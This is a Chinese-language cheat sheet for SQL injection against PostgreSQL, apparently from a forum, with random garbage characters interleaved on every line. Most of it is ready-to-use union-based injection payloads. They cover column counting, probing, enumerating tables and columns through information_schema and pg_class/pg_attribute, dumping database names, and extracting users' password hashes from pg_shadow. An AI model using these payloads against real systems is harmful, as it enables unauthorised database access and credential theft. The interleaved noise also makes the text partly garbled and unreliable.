结合了MSSQL MySQL Oracle的一些特点5 C" ?! Q4 t7 Q" `% N% c. I
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
% s# T2 U7 [0 S: u1 S/ T连接符: %20 , + , /**/ 内置函数:
" K& W1 O1 P3 acurrent_database() //当前数据库名7 e9 O/ D- ? H, m. L/ B
session_user //会话用户
# W2 e2 Q) Q! b+ Z$ Fcurrent_user //当前数据库用户
# {2 U3 F( e2 k; ]- Cuser //当前用户
1 L3 R8 s& Y1 kversion() //数据库版本 Union注射:
+ t' x/ x2 Y9 g7 B2 rorder by n–9 |$ k& O" m, q& h6 {" y( X
and 1=2 union select null,null,null–9 J& i! N0 j$ |- H
and 1=2 union select ‘beach’,null,null–
( {, e$ c! C7 ~6 f0 ?and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
! V. Y/ z" i" @. h0 }5 fgroup_concat(table_name)) V- E5 Q# c3 ~. o8 s% C
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, _ ^( @- L% I2 ~6 w
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–, U6 ~1 ^: ?+ H; R/ v6 k+ g" e
(老版本)
& Z2 j7 `' g$ v8 L/ w8 p1 t% A. R. i! Epg_class.oid对应pg_attribute.attrelid
7 m3 j! L" j- R# X2 }" F2 h a% N" \pg_class.relname表名* z/ D7 }+ s# m7 t( s# _
pg_attribute.attname字段名 select relname from pg_class获取表名 L, t' w! Q: S7 O3 K
select oid from pg_class where 条件 获取参数
1 f4 |% Q# H7 f3 x& s9 Yselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
% U9 C2 C7 `# N/ f# K0 F1 mand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
' k7 j7 t! G2 m$ `) F) dand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
5 l N2 j* M" U7 T" f* V: O8 g由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名; M& t; t1 s1 B! L1 E) n6 B
======================================================================
6 e& f x0 _% @0 X5 pand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
0 P4 T1 w& Y' a3 a# Zand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |